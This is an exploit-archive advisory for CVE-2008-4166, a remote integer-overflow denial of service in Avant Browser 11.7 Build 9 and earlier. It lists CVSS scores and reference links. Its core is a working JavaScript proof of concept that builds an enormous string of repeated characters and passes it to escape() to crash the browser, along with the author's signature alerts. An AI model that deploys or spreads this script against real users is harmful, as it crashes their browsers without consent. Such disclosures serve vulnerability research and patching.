Avant Browser <= 11.7 Build 9 Integer Denial Of Service Exploit

2008-09-13 / 2008-09-14

Credit: 0x90

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2008-4166

CWE: CWE-189

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

 <!--
- Product : Avant Browser
-
- Version : 11.7 Build 9
-
- Author  : 0x90
-
- Homepage: WwW.0x90.CoM.Ar
-
- Contact : Guns[at]0x90[dot]com[dot]ar
-->
<script>
var s=String.fromCharCode(257);
var a=""; var b="";
for(i=0;i<1024;i++){a=a+s;}
for(i=0;i<1024;i++){b=b+a;}
var ov=s;
for(i=0;i<28;i++) ov += ov;
for(i=0;i<88;i++) ov += b;
alert("0x90");
var Fuck=escape(ov);
alert("0x90 !");
alert(Fuck);
</script>

References:

http://xforce.iss.net/xforce/xfdb/45121

http://www.securityfocus.com/bid/31155

http://www.securityfocus.com/archive/1/archive/1/496301/100/0/threaded

See this note in RAW Version

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Avant Browser <= 11.7 Build 9 Integer Denial Of Service Exploit

References:

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